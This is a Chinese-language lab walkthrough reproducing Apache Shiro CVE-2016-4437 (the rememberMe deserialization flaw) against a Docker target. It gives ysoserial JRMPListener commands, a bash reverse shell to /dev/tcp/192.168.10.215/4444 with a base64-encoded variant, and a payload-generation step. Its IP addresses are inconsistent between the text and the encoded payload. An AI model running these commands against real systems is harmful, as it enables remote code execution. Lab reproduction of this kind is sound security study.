Apache Shiro 反序列化(CVE-2016-4437)复现 – 作者:东塔安全学院-安全小百科

Apache Shiro 反序列化(CVE-2016-4437)复现 – 作者:东塔安全学院

0x01简介

这个漏洞属于java反序列化漏洞的一种，shiro是java的一个开发框架执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

官网漏洞说明：https://issues.apache.org/jira/browse/SHIRO-550

Apache Shiro框架提供了记住我（RememberMe）的功能，关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager，对rememberMe的cookie做了加密处理，在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候，需要对Cookie里的rememberMe字段解密。根据加密的顺序，不难知道解密的顺序为：

获取rememberMe cookie
base64 decode
解密AES
反序列化

但是，AES加密的密钥Key被硬编码在代码里，意味着每个人通过源代码都能拿到AES加密的密钥。因此，攻击者构造一个恶意的对象，并且对其序列化，AES加密，base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。

0x02影响版本

Apache Shiro <= 1.2.4

0x03环境搭建

小受:kali2020 192.168.10.161 服务器

小攻:kali2019 192.168.10.215 攻击机

我们使用docker搭建环境搭建

docker pull medicean/vulapps:s_shiro_1

启动docker镜像：

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

在浏览器访问http://ip:8080测试环境是否搭建成功

服务器搭建完成

搭建攻击机环境需要java8环境

Java8安装教程：https://www.cnblogs.com/longgang/p/12956079.html

Java8安装完成后使用java -version 查看

安装mvn

wget http://mirrors.hust.edu.cn/apache/maven/maven-3/3.3.9/binaries/apache-maven-3.3.9-bin.tar.gz //使用wget下载

使用tar -zxvf apache-maven-3.3.9-bin.tar.gz

mv apache-maven-3.3.9 /usr/local/ //移动到usr下local目录

vim /etc/profile 配置环境变量，在底部添加如下配置

source /etc/profile //重新加载环境变量

mvn -v //检查是否安装成功

0x04漏洞复现

下载漏洞复现所需要用到的ysoserial工具

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial //进入目录

mvn package -D skipTests

生成的工具就是/ysoserial/target/目录下的ysoserial-0.0.6-SNAPSHOT-all.jar文件

访问漏洞靶场使用burp抓包，判断环境是否存在shiro。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段，要勾选Remember Me选项。然后进行抓包

抓到包发送到repeater，重放即可看到cookie是否存在rememberMe=deleteMe字段

然后在攻击机执行以下命令：（这里监听的端口是1086）

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令”

然后我们来构造payload来进行反弹shell的操作，写好反弹shell的命令

bash -i >& /dev/tcp/192.168.10.215/4444 0>&1

然后转换成加密后的指令（去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html）

最终在攻击机上执行的命令如下：

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjE2MS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}”

使用shiro.py生成payload，需要python2的环境

python shiro.py 192.168.10.161:1086 //攻击机的ip地址和java监听端口

注：shiro.py需要和ysoserial放在同一个目录下

然后在攻击机监听4444端口，等待shell反弹

然后在burp抓取的数据包中的cookie字段内添加刚生成的payload，然后将数据包放行

数据包发送之后查看攻击机中java监听接口和nc监听端口结果显示如下图

可以看到服务器的shell已经反弹到了攻击机上。可能有的会奇怪为什么这里反弹回来的shell的名字这么奇怪，那是因为我们复现环境的时候用的是docker，所以会创建一个以CONTAINER ID命名的账户